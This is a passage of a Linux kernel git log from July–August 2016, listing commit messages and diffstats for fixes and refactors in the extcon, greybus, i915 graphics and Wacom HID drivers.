+++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit c19dc203e61886b4e61201832adc4da2816c5def Author: Charles Keepax Date: Tue Jul 19 13:23:56 2016 +0100 extcon: arizona: Remove unneeded semi-colon There is no need for a semi-colon at the end of a switch statement so remove it. Signed-off-by: Charles Keepax Signed-off-by: Chanwoo Choi drivers/extcon/extcon-arizona.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e8752b7a7294a7c19545123eea079d873f8cc243 Author: Stephen Boyd Date: Tue Jul 5 11:57:05 2016 -0700 extcon: Move extcon_get_edev_by_phandle() errors to dbg level Sometimes drivers may call this API and expect it to fail because the extcon they're looking for is optional. Let's move these prints to debug level so it doesn't look like there's a problem when there isn't one. Signed-off-by: Stephen Boyd Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ba4b27151ade5eab3d32a47bf323bfa8c5cd0726 Author: Venkat Reddy Talla Date: Tue Jul 5 19:26:21 2016 +0530 extcon: adc-jack: update cable state during boot Update cable state during boot to avoid any missing external cable events occurred before driver initialisation. Signed-off-by: Venkat Reddy Talla Signed-off-by: Chanwoo Choi drivers/extcon/extcon-adc-jack.c | 1 + 1 file changed, 1 insertion(+) commit 69b17abf38eda6e02bc208cb779c948b13f2ad90 Author: Terry Heo Date: Thu Jul 28 06:52:04 2016 -0300 [media] cx231xx: reset pipe endpoint when it is stalled Sometimes, the USB pipe could enter into a stalled state, and may need a reset to rework. Add such logic. [mchehab@osg.samsung.com: ported from Android's source: https://android.googlesource.com/kernel/x86_64/+/3a322adc0084fd277b43070712c7dc0dc9245435%5E%21] Signed-off-by: Terry Heo Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-core.c | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) commit 4523eae6f8446e3943415683bc9a136ce11fb32b Author: David Lin Date: Fri Aug 5 15:08:40 2016 -0700 greybus: interface: fix timesync registration sequencing When enabling an interface, control device should be registered after having successfully added the timesync. Similarly for the interface disable path, control device should be removed first before removing timesync. Testing Done: - Enable and disable the interface Reviewed-by: Viresh Kumar Reviewed-by: Johan Hovold Suggested-by: Johan Hovold Signed-off-by: David Lin Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit cb7f27601c81a1e0454e9461e96f65b31fafbea0 Author: Matthew Auld Date: Fri Aug 5 19:04:40 2016 +0100 drm/i915: fix aliasing_ppgtt leak In i915_ggtt_cleanup_hw we need to remember to free aliasing_ppgtt. This fixes the following kmemleak message: unreferenced object 0xffff880213cca000 (size 8192): comm "modprobe", pid 1298, jiffies 4294745402 (age 703.930s) hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace: [] kmemleak_alloc+0x4e/0xb0 [] kmem_cache_alloc_trace+0x142/0x1d0 [] i915_gem_init_ggtt+0x10f/0x210 [i915] [] i915_gem_init+0x5b/0xd0 [i915] [] i915_driver_load+0x97a/0x1460 [i915] [] i915_pci_probe+0x4f/0x70 [i915] [] local_pci_probe+0x45/0xa0 [] pci_device_probe+0x103/0x150 [] driver_probe_device+0x22c/0x440 [] __driver_attach+0xd1/0xf0 [] bus_for_each_dev+0x6c/0xc0 [] driver_attach+0x1e/0x20 [] bus_add_driver+0x1c3/0x280 [] driver_register+0x60/0xe0 [] __pci_register_driver+0x4c/0x50 [] 0xffffffffa013605b Signed-off-by: Matthew Auld Reviewed-by: Chris Wilson Fixes: b18b6bde300e ("drm/i915/bdw: Free PPGTT struct") Cc: stable@vger.kernel.org Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470420280-21417-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/i915_gem_gtt.c | 1 + 1 file changed, 1 insertion(+) commit 437c30874cb90537e6275f9ed6f6b88307a906a1 Author: Daniel Vetter Date: Fri Aug 5 18:11:24 2016 +0200 drm/i915: Update comment before i915_spin_request ~jiffie and a few usecs is 3 orders of magnitude different. A bit much. This was changed in commit ca5b721e238226af1d767103ac852aeb8e4c0764 Author: Chris Wilson Date: Fri Dec 11 11:32:58 2015 +0000 drm/i915: Limit the busy wait on requests to 5us not 10ms! But probably missed the comment since the change was non-local to the comment. v2: Polish comment more (Chris). Cc: Tvrtko Ursulin Cc: Chris Wilson Acked-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470413484-23775-1-git-send-email-daniel.vetter@ffwll.ch drivers/gpu/drm/i915/i915_gem_request.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ae98104bec5bbe9543764a78f37a421d45dc65af Author: Ville Syrjälä Date: Fri Aug 5 23:28:30 2016 +0300 drm/i915: Use the g4x+ approach on gen2 for handling display stuff around GPU reset We don't have GPU reset support for gen2, which means the display hardware is unaffected when a GPU hang is handled. However as the ring has in fact stopped, any flips still in the ring will never complete, and thus the display base address updates will never happen. So we really need to fix that up manually just like we do on g4x+. In fact, let's just use intel_has_gpu_reset() instead of IS_GEN2() since that'll also handle cases where someone would disable the GPU reset support on gen3/4 for whatever reason. Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470428910-12125-5-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) commit 4ac2ba2f8c4b7bb33d32fc1be290daf25d39802a Author: Ville Syrjälä Date: Fri Aug 5 23:28:29 2016 +0300 drm/i915: Introduce gpu_reset_clobbers_display() Factor out the "does the GPU reset clobber the display?" check into a small helper. Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470428910-12125-4-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 522a63de18a12a3c74609323f984790e21d4a47e Author: Maarten Lankhorst Date: Fri Aug 5 23:28:28 2016 +0300 drm/i915: Add a way to test the modeset done during gpu reset, v3. Add force_reset_modeset_test as a parameter to force the modeset path during gpu reset. This allows a IGT test to set the knob and trigger a hang to force the gpu reset, even on platforms that wouldn't otherwise require it. Changes since v1: - Split out fix to separate commit. Changes since v2: - This commit is purely about force_reset_modeset_test now. Signed-off-by: Maarten Lankhorst Testcase: drv_hangman.reset-with-forced-modeset Tested-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470428910-12125-3-git-send-email-ville.syrjala@linux.intel.com Signed-off-by: Ville Syrjälä drivers/gpu/drm/i915/i915_params.c | 6 ++++++ drivers/gpu/drm/i915/i915_params.h | 1 + drivers/gpu/drm/i915/intel_display.c | 29 ++++++++++++++++++----------- 3 files changed, 25 insertions(+), 11 deletions(-) commit 739748939974791b84629a8790527a16f76873a4 Author: Maarten Lankhorst Date: Fri Aug 5 23:28:27 2016 +0300 drm/i915: Fix modeset handling during gpu reset, v5. This function would call drm_modeset_lock_all, while the suspend/resume functions already have their own locking. Fix this by factoring out __intel_display_resume, and calling the atomic helpers for duplicating atomic state and disabling all crtc's during suspend. Changes since v1: - Deal with -EDEADLK right after lock_all and clean up calls to hw readout. - Always take all modeset locks so updates during gpu reset are blocked. Changes since v2: - Fix deadlock in intel_update_primary_planes. - Move WARN_ON(EDEADLK) to __intel_display_resume. - pctx -> ctx - only call __intel_display_resume on success in intel_display_resume. Changes since v3: - Rebase on top of dev_priv -> dev change. - Use drm_modeset_lock_all_ctx instead of drm_modeset_lock_all. Changes since v4 [by vsyrjala]: - Deal with skip_intermediate_wm - Update comment w.r.t. mode_config.mutex vs. ->detect() - Rebase due to INTEL_GEN() etc. Signed-off-by: Maarten Lankhorst Fixes: e2c8b8701e2d ("drm/i915: Use atomic helpers for suspend, v2.") Cc: stable@vger.kernel.org Tested-by: Ville Syrjälä Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470428910-12125-2-git-send-email-ville.syrjala@linux.intel.com drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/intel_display.c | 170 ++++++++++++++++++++++------------- 2 files changed, 111 insertions(+), 60 deletions(-) commit 33cc283928249b2230a6519a2303fe30161cf788 Author: Vaibhav Agarwal Date: Fri Aug 5 18:16:30 2016 +0530 greybus: audio: Report jack removal along with module removal For GB module with jack slot supported, headset/headphone can still be inserted at the time of module removal. In this case, above layer is unaware about jack removal event which happened due to module removal. This may lead to inconsistent state in above HAL layer. Fix this by reporting jack removal event explicitly. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 9141ad8773f4f6ebb8cd9fa376d9497fa7e73374 Author: Kris Huang Date: Fri Aug 5 12:59:08 2016 +0800 greybus: lights: Add runtime pm support Modify Lights greybus driver to support runtime PM framework. The suspend and resume function have been tested with gpbridge-test image by sysfs. Lights functions work well on suspend/resume. Testing Done: Compiled and verified on EVT2 and gpbridge-test module with device class daughter board. Signed-off-by: Kris Huang Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/light.c | 116 ++++++++++++++++++++++++++++++++-------- 1 file changed, 94 insertions(+), 22 deletions(-) commit 8f3972f78f3ac52833fb781cbb689af39fc8b0f1 Author: Jackson Chang Date: Fri Aug 5 10:22:02 2016 +0800 greybus: SDIO: Add runtime pm support Modify SDIO greybus driver to support runtime PM framework. To enable SDIO runtime PM, it needs to remove MMC_CAP_NEEDS_POLL and add MMC_CAP2_CORE_RUNTIME_PM in set_host_caps(). The suspend function and resume function have been tested with micron-sdio image by sysfs. SDIO functions work well on suspend/resume. Testing Done: Compiled and verified on EVT2.0 + Micron ARA SD module with USB connector Signed-off-by: Jackson Chang Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 4 ++++ drivers/staging/greybus/sdio.c | 31 +++++++++++++++++++++++++++---- 2 files changed, 31 insertions(+), 4 deletions(-) commit a168f5b3f1797d6704d2edb36a3674e663154f80 Author: Ville Syrjälä Date: Fri Aug 5 20:00:17 2016 +0300 drm/i915: Don't mark PCH underrun reporting as disabled for transcoder B/C on LPT-H Marking PCH transcoder FIFO underrun reporting as disabled for transcoder B/C on LPT-H will block us from enabling the south error interrupt. So let's only mark transcoder A underrun reporting as disabled initially. This is a little tricky to hit since you need a machine with LPT-H, and the BIOS must enable either pipe B or C at boot. Then i915 would mark the "transcoder B/C" underrun reporting as disabled and never enable it again, meaning south interrupts would never get enabled either. The only other interrupt in there is actually the poison interrupt which, if we could ever trigger it, would just result in a little error in dmesg. Here's the resulting change in SDEIMR on my HSW when I boot it with multiple displays attached: - (0x000c4004): 0xf115ffff + (0x000c4004): 0xf114ffff My previous attempt [1] tried to fix this a little differently, but Daniel requested I do this instead. [1] https://lists.freedesktop.org/archives/intel-gfx/2015-November/081420.html Cc: Daniel Vetter Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470416417-15021-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_display.c | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) commit 09fa8bb9094569941661ed2a1dc0ff4bd37a0d7d Author: Ville Syrjälä Date: Fri Aug 5 20:41:34 2016 +0300 drm/i915: Add some curly braces intel_enable_pipe() looks rather confusing when one side doesn't have the curly braces, and the other one does. And what's even worse, there's another if-else inside the braceless side. Let's put braces around it to make it clear which branch goes where. Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470418894-1249-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_display.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5a198b8c53e68b6e4737b6890995e676d856c9ed Author: Chris Wilson Date: Tue Aug 9 09:23:34 2016 +0100 drm/i915: Do not overwrite the request with zero on reallocation When using RCU lookup for the request, commit 0eafec6d3244 ("drm/i915: Enable lockless lookup of request tracking via RCU"), we acknowledge that we may race with another thread that could have reallocated the request. In order for the first thread not to blow up, the second thread must not clear the request completed before overwriting it. In the RCU lookup, we allow for the engine/seqno to be replaced but we do not allow for it to be zeroed. The choice we make is to either add extra checking to the RCU lookup, or embrace the inherent races (as intended). It is more complicated as we need to manually clear everything we depend upon being zero initialised, but we benefit from not emiting the memset() to clear the entire frequently allocated structure (that memset turns up in throughput profiles). And at the same time, the lookup remains flexible for future adjustments. v2: Old style LRC requires another variable to be initialize. (The danger inherent in not zeroing everything.) v3: request->batch also needs to be cleared v4: signaling.tsk is no long used unset, but pid still exists Fixes: 0eafec6d3244 ("drm/i915: Enable lockless lookup of request...") Signed-off-by: Chris Wilson Cc: "Goel, Akash" Cc: Daniel Vetter Cc: Joonas Lahtinen Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470731014-6894-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 37 ++++++++++++++++++++++++++++++++- drivers/gpu/drm/i915/i915_gem_request.h | 11 ++++++++++ 2 files changed, 47 insertions(+), 1 deletion(-) commit edf6b76f64a2f62b81ed796fe2ce6dd664351d64 Author: Chris Wilson Date: Tue Aug 9 09:23:33 2016 +0100 drm/i915: Add smp_rmb() to busy ioctl's RCU dance In the debate as to whether the second read of active->request is ordered after the dependent reads of the first read of active->request, just give in and throw a smp_rmb() in there so that ordering of loads is assured. v2: Explain the manual smp_rmb() Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470731014-6894-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 36 ++++++++++++++++++++++++++++----- drivers/gpu/drm/i915/i915_gem_request.h | 3 +++ 2 files changed, 34 insertions(+), 5 deletions(-) commit 87b723a16de9ff95e2b7d61dbd86bddd3c1716d9 Author: Chris Wilson Date: Tue Aug 9 08:37:02 2016 +0100 drm/i915: Don't check for idleness before retiring after a GPU hang When we force the cleanup after a GPU hang, we want to retire all requests, or else we may leak them if truly wedged (and the GPU never advances again). Converting to the active request helpers had the issue of doing the check against busyness before reporting the request, so if we claim the GPU had hung but this engine hadn't we could potential skip the request cleanup - triggering the self-check BUG. Fixes: dcff85c8443e ("drm/i915: Enable i915_gem_wait_for_idle() ...") Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470728222-10243-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 385384a82cb4d9d1725330fde293877c36c1dba2 Author: Chris Wilson Date: Tue Aug 9 08:37:01 2016 +0100 drm/i915: Wrap the protected active RCU dereference in a helper As we do the lockdep protected RCU lookup in a couple of places, refactor that code to a common helper i915_gem_active_raw(). Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470728222-10243-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.h | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) commit 2e7ba01494ea1ec33ae7d7f5f124975818ddb825 Author: Chris Wilson Date: Tue Aug 9 08:37:00 2016 +0100 drm/i915: Remove unused i915_gem_active_peek_rcu() This was originally introduced to be used by the busy-ioctl, but in the end busy ioctl performed a different dance. Since there are no users, and no likely users, remove an unwanted chunk of the API. Suggested-by: Daniel Vetter Signed-off-by: Chris Wilson Cc: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470728222-10243-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/i915_gem_request.h | 21 --------------------- 1 file changed, 21 deletions(-) commit 4194c088df6808336bcb1fe434332fb64bdb240e Author: Rodrigo Vivi Date: Wed Aug 3 10:00:56 2016 -0700 drm/i915: Use drm official vblank_no_hw_counter callback. No functional change. Instead of defining a new empty function let's use what is available on drm. It gets cleaner, and easy to read, and understand. Signed-off-by: Rodrigo Vivi Reviewed-by: Ville Syrjälä drivers/gpu/drm/i915/i915_irq.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 4e9121e6b4f9fee47e6746bfdb6745951b7a9b20 Author: Rodrigo Vivi Date: Wed Aug 3 08:22:57 2016 -0700 drm/i915: Fix copy_to_user usage for pipe_crc Copy to user return the number of bytes it couldn't write and zero on success. So any number different than 0 should be considered a fault, not only when it doesn't write the full size. v2: fixed the inverted logic. (Ville) Cc: Ville Syrjälä Reviewed-by: Daniel Vetter Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_debugfs.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 19e0b4cab9cf3c07bc84360a854f9040d8c64644 Author: Ville Syrjälä Date: Fri Aug 5 19:05:42 2016 +0300 Revert "drm/i915: Track active streams also for DP SST" This reverts commit f64425a82bdb5c3d7e09ba765716da88a9b00eec. active_streams will get totally out of whack with SST unless we sync up with the hw state at readout, obviously! We don't yet do that, so now the WARNs fire all the time. Let's revert :( Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1470413142-26402-1-git-send-email-ville.syrjala@linux.intel.com References: https://bugs.freedesktop.org/show_bug.cgi?id=95472#c14 Acked-by: Chris Wilson drivers/gpu/drm/i915/intel_ddi.c | 10 ---------- drivers/gpu/drm/i915/intel_dp.c | 8 +------- drivers/gpu/drm/i915/intel_dp_mst.c | 16 ++++++++-------- drivers/gpu/drm/i915/intel_drv.h | 2 +- 4 files changed, 10 insertions(+), 26 deletions(-) commit 9956953ec082e9353ee0828538ff37b149cc91c9 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:17 2016 +0200 HID: wacom: power_supply: provide the actual model_name Instead of displaying a generic "tablet", now g-c-c shows a pretty "Wacom Intuos Pro S (WL)". Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 1 + drivers/hid/wacom_sys.c | 11 +++++++++++ drivers/hid/wacom_wac.h | 1 + 3 files changed, 13 insertions(+) commit 136ae5e9bacebbd8f2a94e8dea69f0dc22fbc8c7 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:16 2016 +0200 HID: wacom: power_supply: remove ac information Looks like upowerd is ignoring this since October 2013, so there is no need to keep this around in the kernel. And as mentioned in 8aaa592 (linux: Ignore ACs coming from devices) in the upower tree, "We already have enough information on the device battery". Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 3 --- drivers/hid/wacom_sys.c | 49 +------------------------------------------------ 2 files changed, 1 insertion(+), 51 deletions(-) commit 96983296281507f049425b84f0d244c40d506eba Author: Benjamin Tissoires Date: Wed Jul 13 18:06:15 2016 +0200 HID: wacom: power_supply: mark the type as USB When upowerd detects a new device, it tries to map this new device to an input to guess its kind. It works OK for wired tablets when the wireless module and its battery are attached, but not so well when connected over wireless. In that case, the battery is attached to the wireless HID node, not the Pen or Pad HID node. So there is no input node as a parent of the reported battery, which means it will be showed as a computer battery in gnome-control-center. If we set the power supply type to USB, upowerd has a heuristic that detects "wacom_" in the name of the power_supply, and set the type to tablet. So it's now clear that the reported battery of from a tablet. (see https://cgit.freedesktop.org/upower/tree/src/linux/up-device-supply.c) Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6a06281e2bfb6f59aa3290c459981471b4940a39 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:14 2016 +0200 HID: wacom: leds: handle Cintiq 24HD leds buttons The 24HD has 1 button per LED (first three buttons of each group). We need a special treatment for them as it's not a uniq button that switches between the LEDs. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 38 +++++++++++++++++++++++++++++++++++--- 1 file changed, 35 insertions(+), 3 deletions(-) commit 5a0fe8abd169be4f2e1f73ad851419d502b5a832 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:13 2016 +0200 HID: wacom: leds: make sure Cintiq 21UX2 and 24HD control the right LEDs The code for 21UX2 and 24HD makes the LED group 1 on the left, and the group 0 on the right. The buttons are ordered in the other way, but libwacom already exports those that way. So we simply can't reassign LED group 0 to the left buttons, and have to quirk the incoming data... Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_wac.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 34736aa96e313d304ffe0746519833167e66c978 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:12 2016 +0200 HID: wacom: leds: handle the switch of the LEDs directly in the kernel The EKR switches the LED directly, and there is no point in having userspace handling the switch it self when it's easy enough to do in the kernel. The other benefit is that now userspace does not need to have root access to the LED but need only to read them with user privileges. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/Kconfig | 1 + drivers/hid/wacom.h | 4 ++++ drivers/hid/wacom_sys.c | 63 ++++++++++++++++++++++++++++++++++++++++++++++--- drivers/hid/wacom_wac.c | 53 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 118 insertions(+), 3 deletions(-) commit 589e5060206b97a9602534d19d53264d35cd969f Author: Benjamin Tissoires Date: Wed Jul 13 18:06:11 2016 +0200 HID: wacom: leds: actually release the LEDs on disconnect There is a bug (?) in devm_led_classdev_register() in which its increments the refcount of the parent. If the parent is an input device, that means the ref count never reaches 0 when devm_input_device_release() gets called. This means that the LEDs and all the devres resources attached to the input device are not released. Manually force the release of the group so that the leds are released once we are done using them. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 1 + drivers/hid/wacom_sys.c | 27 ++++++++++++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) commit 97f5541fc0c7ed107103e6f87a6522f5327ab4b0 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:10 2016 +0200 HID: wacom: leds: use the ledclass instead of custom made sysfs files The now obsolete sysfs files for LEDs and EKRemote are kept for backward compatibility. Both the EKR (read-only) and the regular Cintiqs and Intuos are now sharing the same led API. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina Documentation/ABI/testing/sysfs-driver-wacom | 5 + drivers/hid/wacom.h | 19 +++ drivers/hid/wacom_sys.c | 195 +++++++++++++++++++++++++-- 3 files changed, 209 insertions(+), 10 deletions(-) commit 9f1015d45f62d3b1c6719a1ccffaded89b157e10 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:09 2016 +0200 HID: wacom: EKR: attach the power_supply on first connection Or Gnome complains about an empty battery. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 36 ++++++++++++++++++++++++++++++------ 1 file changed, 30 insertions(+), 6 deletions(-) commit 59d69bc8215478af6b89d4ae9ab0baf6d91eb870 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:08 2016 +0200 HID: wacom: EKR: have one power_supply per remote Previously, all the remotes attached to the same receiver would share the same power_supply. That's not good as the remotes will constantly change the battery information according to their own state. To have something generic enough, we introduce struct wacom_battery which regroups all the information we need for a battery. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 19 ++++++-- drivers/hid/wacom_sys.c | 123 ++++++++++++++++++++++++++---------------------- drivers/hid/wacom_wac.c | 54 ++++++++++----------- drivers/hid/wacom_wac.h | 6 --- 4 files changed, 109 insertions(+), 93 deletions(-) commit 7c35dc3cd4d114019ed4b26cab313e253396d7c9 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:07 2016 +0200 HID: wacom: EKR: allocate one input node per remote Thanks to devres, we can now afford to create more than one input node without having to overload the remove/failure paths. Having one input node per remote is something which should have been implemented from start but the probability of having users with several remotes is quite low. Anyway, still, better looking at the future and implement things properly. Remote input nodes will be freed/unregistered magically as they are created in the devres group &remote->remotes[index]. We need to open the hid node now that the remotes are dynamically allocated. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 2 ++ drivers/hid/wacom_sys.c | 30 ++++++++++++++++++++++++++++++ drivers/hid/wacom_wac.c | 35 ++++++++++++++++++++++++++++++----- 3 files changed, 62 insertions(+), 5 deletions(-) commit e7749f6e5f9d33da189f7bc7d757349ad4716f00 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:06 2016 +0200 HID: wacom: EKR: have one array of struct remotes instead of many arrays No functional changes, just a prep patch for the one after. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 6 ++++-- drivers/hid/wacom_sys.c | 53 +++++++++++++++++++++++++------------------------ drivers/hid/wacom_wac.c | 2 +- 3 files changed, 32 insertions(+), 29 deletions(-) commit f9036bd43602562f549ace170391c932f28446cd Author: Benjamin Tissoires Date: Wed Jul 13 18:06:05 2016 +0200 HID: wacom: EKR: use devres groups to manage resources This will be useful when each remote will be assigned its own input device. We won't need to unregister each input and sysfs and other elements one at a time. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 44 ++++++++++++++++++++++++++++---------------- 1 file changed, 28 insertions(+), 16 deletions(-) commit 04bfa27b429fc45197fbb1a3dfe01585b931824b Author: Benjamin Tissoires Date: Wed Jul 13 18:06:04 2016 +0200 HID: wacom: EKR: have proper allocator and destructor The wacom_remote_create_attr_group() and wacom_remote_destroy_attr_group() functions were both allocating/destroying the sysfs groups but also initializing the parameters for the remotes. Have proper functions that can be called and extended. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 93 ++++++++++++++++++++++++++++--------------------- 1 file changed, 53 insertions(+), 40 deletions(-) commit 3888b0d53dfbbc9ebc678a67b2ccebb053ba4aac Author: Benjamin Tissoires Date: Wed Jul 13 18:06:03 2016 +0200 HID: wacom: rework fail path in probe() and parse_and_register() Thanks to devres management, we don't need to remember a lot of failure path. One or two is enough. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 37 ++++++++++++++----------------------- 1 file changed, 14 insertions(+), 23 deletions(-) commit 83e6b40e2de6f8416ce6c8c3ca6c4bc8acfa8b32 Author: Benjamin Tissoires Date: Wed Jul 13 18:06:02 2016 +0200 HID: wacom: EKR: have the wacom resources dynamically allocated If we want to have one input device per remote, it's better to have our own struct wacom_remote which is dynamically allocated. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 13 +++-- drivers/hid/wacom_sys.c | 133 ++++++++++++++++++++++++++++-------------------- drivers/hid/wacom_wac.c | 12 +++-- drivers/hid/wacom_wac.h | 2 +- 4 files changed, 94 insertions(+), 66 deletions(-) commit e6f2813a6d3fd924a399f8b19bcd8b11487155bc Author: Benjamin Tissoires Date: Wed Jul 13 18:06:01 2016 +0200 HID: wacom: EKR: add a worker to add/remove resources on addition/removal wacom_remote_status_irq() sends information of addition/removal of EKR. We want to allocate one input node per remote, so better having this in a separate worker, not handled in the IRQ directly. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 11 +++++-- drivers/hid/wacom_sys.c | 80 +++++++++++++++++++++++++++++++++++++++++++++++-- drivers/hid/wacom_wac.c | 53 +++++++++++++------------------- drivers/hid/wacom_wac.h | 7 +++++ 4 files changed, 113 insertions(+), 38 deletions(-) commit a50aac7193f18a5a997588556f1212b0d1ba029b Author: Benjamin Tissoires Date: Wed Jul 13 18:06:00 2016 +0200 HID: wacom: leds: dynamically allocate LED groups We need to add an action to ensure wacom->led.groups is null when wacom_led_control() gets called after the resources has been freed. This also prevents to send a LED command when there is no support from the device. Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom.h | 8 +++-- drivers/hid/wacom_sys.c | 85 +++++++++++++++++++++++++++++++++++++++++-------- drivers/hid/wacom_wac.c | 2 +- 3 files changed, 78 insertions(+), 17 deletions(-) commit 1c817c83e8ccea5f710d3c0d38edcfd362654ba2 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:59 2016 +0200 HID: wacom: devres manage the shared data too wacom_release_shared_data() and wacom_remove_shared_data() are moved up so they can be referenced in wacom_add_shared_data(). There is no point in explicitly setting wacom_wac1->shared->type to 0 in wacom_wireless_work() (plus this would give an oops). Signed-off-by: Benjamin Tissoires Acked-by: Ping Cheng Signed-off-by: Jiri Kosina drivers/hid/wacom_sys.c | 73 ++++++++++++++++++++++++++----------------------- 1 file changed, 39 insertions(+), 34 deletions(-) commit 19b643300181ccf2bd83cd751283508b9ae179f5 Author: Benjamin Tissoires Date: Wed Jul 13 18:05:58 2016 